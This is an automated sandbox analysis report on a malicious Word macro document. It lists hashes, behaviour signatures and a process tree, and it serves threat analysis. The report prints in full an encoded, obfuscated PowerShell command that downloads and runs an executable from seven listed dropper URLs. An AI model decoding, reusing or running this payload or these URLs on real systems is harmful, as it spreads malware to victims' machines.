Analysis

  • max time kernel
    101s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    21/08/2024, 10:34

General

  • Target

    b3204bbeb0d3f5b2a5d9e6c5dbb9277a_JaffaCakes118.doc

  • Size

    156KB

  • MD5

    b3204bbeb0d3f5b2a5d9e6c5dbb9277a

  • SHA1

    5d1a7aaa0190abc0e0574d1e80620725e6776c9d

  • SHA256

    6ca94e81683b8a3a91b0205b6dd1fc1155a443028bde46f528a439cf100e5a81

  • SHA512

    245622c49718c29cb2ba3f953e068eda65b2bb8ebd7564ffaa160713d9be9d2862ff21eef5d868fbeebfed178184c3f752f359bd074ad71c98854ed446a2aede

  • SSDEEP

    1536:cB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ51+a9nS1u3V8h:c22TWTogk079THcpOu5UZJku3V8h

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://paulospainting.com/wp-includes/uhkHig/

exe.dropper

http://personalizzabili.com/images/x04aAql/

exe.dropper

http://goldcoastoffice365.com/temp/RAr9U/

exe.dropper

http://must-in.com/wp-admin/kej4f/

exe.dropper

http://indyoverheaddoors.com/wp-includes/sx9SD/

exe.dropper

http://giral2.com/wp-includes/fj2mDY/

exe.dropper

http://bytecreation.es/gestion/hE/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b3204bbeb0d3f5b2a5d9e6c5dbb9277a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2568
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABWAGMAZQB6AF8AYgBjAD0AKAAoACcATQAnACsAJwBwAHkAeQBqACcAKQArACcANwA4ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAGUAcgBQAHIATwBGAGkATABlAFwAcAAxAEcANABVADYASQBcAFIANwA3ADgARAA2AFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAUgBgAGkAYABUAHkAYABQAHIAbwBgAFQAbwBjAGAAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAnACsAJwAyACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAxACcAKwAoACcAMQAsACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFAAMQBzAGIAOQA5ADUAIAA9ACAAKAAnAEgAaAAnACsAKAAnAGkAZgAnACsAJwB0ACcAKQArACcAOQAnACkAOwAkAE4AMgAzAHQAMQBoAF8APQAoACgAJwBUAGIAJwArACcAcgAnACsAJwBoADcANAAnACkAKwAnAGUAJwApADsAJABLADAAdgBoAHcAZAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHYAMAAnACsAKAAnADIAUAAnACsAJwAxACcAKQArACcAZwAnACsAKAAnADQAdQA2ACcAKwAnAGkAJwApACsAJwB2ACcAKwAnADAAJwArACcAMgBSACcAKwAoACcANwA3ADgAZAAnACsAJwA2ACcAKwAnAHkAdgAwADIAJwApACkAIAAgAC0AQwByAEUAUABMAGEAQwBFACAAIAAoACcAdgAwACcAKwAnADIAJwApACwAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFAAMQBzAGIAOQA5ADUAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABPAHgAZwBtAGUAaAB1AD0AKAAnAFUAXwAnACsAJwB5AHcAJwArACgAJwA4AHcAJwArACcAcwAnACkAKQA7ACQAUwB1AHIAcwB5AHUAaQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBjAGwASQBlAG4AVAA7ACQAQwBuAHgAagBvADMAOQA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAHAAYQB1AGwAbwAnACkAKwAoACcAcwBwACcAKwAnAGEAJwApACsAKAAnAGkAJwArACcAbgB0ACcAKQArACcAaQAnACsAKAAnAG4AZwAnACsAJwAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AaQBuAGMAJwArACcAbAAnACkAKwAoACcAdQBkACcAKwAnAGUAcwAnACkAKwAoACcALwB1AGgAawAnACsAJwBIACcAKQArACcAaQAnACsAJwBnAC8AJwArACcAKgAnACsAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHAAJwArACcAZQByAHMAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwBhAGwAJwApACsAJwBpACcAKwAnAHoAJwArACcAegAnACsAKAAnAGEAYgBpACcAKwAnAGwAaQAnACkAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKwAoACcAcwAvACcAKwAnAHgAMAAnACkAKwAoACcANAAnACsAJwBhAEEAJwApACsAKAAnAHEAbAAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvACcAKwAnAGcAbwBsACcAKQArACgAJwBkAGMAJwArACcAbwAnACkAKwAoACcAYQBzACcAKwAnAHQAbwBmAGYAaQBjAGUAMwAnACsAJwA2ACcAKQArACcANQAnACsAKAAnAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHQAJwArACcAZQAnACsAKAAnAG0AJwArACcAcAAvAFIAQQAnACkAKwAoACcAcgA5AFUALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAG0AJwApACsAJwB1AHMAJwArACgAJwB0ACcAKwAnAC0AaQBuACcAKQArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAnAGsAZQAnACsAKAAnAGoAJwArACcANABmACcAKQArACgAJwAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACcALwAnACsAJwBpAG4AJwArACgAJwBkAHkAbwB2ACcAKwAnAGUAcgAnACkAKwAoACcAaAAnACsAJwBlAGEAZAAnACkAKwAoACcAZABvAG8AcgBzACcAKwAnAC4AYwBvAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACcALQBpACcAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAJwApACsAKAAnAHMAJwArACcALwBzACcAKQArACcAeAAnACsAJwA5AFMAJwArACcARAAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBnAGkAJwApACsAJwByAGEAJwArACcAbAAnACsAKAAnADIALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3ACcAKwAnAHAALQBpACcAKQArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAJwApACsAKAAnAGUAcwAnACsAJwAvACcAKQArACgAJwBmAGoAMgAnACsAJwBtACcAKQArACgAJwBEAFkALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBiAHkAJwArACgAJwB0AGUAJwArACcAYwByAGUAJwArACcAYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwAuACcAKQArACgAJwBlACcAKwAnAHMALwBnAGUAJwApACsAJwBzACcAKwAoACcAdABpAG8AJwArACcAbgAnACkAKwAnAC8AaAAnACsAJwBFAC8AJwApAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAaAB2ADAAaABzAG4APQAoACcATQBrACcAKwAoACcAOAAnACsAJwB4ADMAJwApACsAJwB5AGIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARQBmAGkANgA2AHoAMgAgAGkAbgAgACQAQwBuAHgAagBvADMAOQApAHsAdAByAHkAewAkAFMAdQByAHMAeQB1AGkALgAiAGQATwBgAHcAYABOAGwAYABPAGEARABmAEkATABFACIAKAAkAEUAZgBpADYANgB6ADIALAAgACQASwAwAHYAaAB3AGQAOAApADsAJABFAGYAeQBzAG0AdwAyAD0AKAAoACcARgAnACsAJwBqADEAJwApACsAKAAnADIAdQAnACsAJwBvACcAKQArACcAaQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQASwAwAHYAaAB3AGQAOAApAC4AIgBsAGAAZQBuAEcAVABoACIAIAAtAGcAZQAgADIAMgA4ADQAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABLADAAdgBoAHcAZAA4ACkAOwAkAFoAbAB5AGkAZwA1AGMAPQAoACgAJwBLADYAJwArACcANgBsADkAJwApACsAJwAyAGUAJwApADsAYgByAGUAYQBrADsAJABGAHEAMgAwAGEAZwBsAD0AKAAoACcARwAzACcAKwAnADAAMwAnACkAKwAoACcAeABpACcAKwAnAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAZAA0AG4AbgBoAF8APQAoACgAJwBQAGgAJwArACcAOQAnACsAJwAzADcAYQAnACkAKwAnAGsAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2672

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      b5dd7f813707af446d62f8938f7c8a37

      SHA1

      feb9a378476dcf17b4f63824db709797e7a4537a

      SHA256

      554f5941428598a2297db09e1f3c9dcfd49163e27adebe5d2e4065dee4c73e72

      SHA512

      09eb840f4d19fb3abfd7d794a65c4f1c035fde92902c6eb157c1c2f53ca4379d26f9a405bb8d67304f80874fb441264dc602835258efc52820b25147f1ae19a3

    • memory/2052-12-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-18-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-6-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-5-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-7-0x0000000006040000-0x0000000006140000-memory.dmp

      Filesize

      1024KB

    • memory/2052-9-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-16-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-11-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-8-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-10-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-21-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-22-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-20-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-19-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-0-0x000000002FBF1000-0x000000002FBF2000-memory.dmp

      Filesize

      4KB

    • memory/2052-17-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-15-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-14-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-2-0x00000000739FD000-0x0000000073A08000-memory.dmp

      Filesize

      44KB

    • memory/2052-13-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-31-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-26-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-25-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-24-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-23-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-27-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-32-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-30-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-29-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-28-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-33-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-64-0x00000000739FD000-0x0000000073A08000-memory.dmp

      Filesize

      44KB

    • memory/2052-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2052-41-0x00000000739FD000-0x0000000073A08000-memory.dmp

      Filesize

      44KB

    • memory/2052-42-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-43-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-44-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2052-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2672-40-0x0000000002920000-0x0000000002928000-memory.dmp

      Filesize

      32KB

    • memory/2672-39-0x000000001B4B0000-0x000000001B792000-memory.dmp

      Filesize

      2.9MB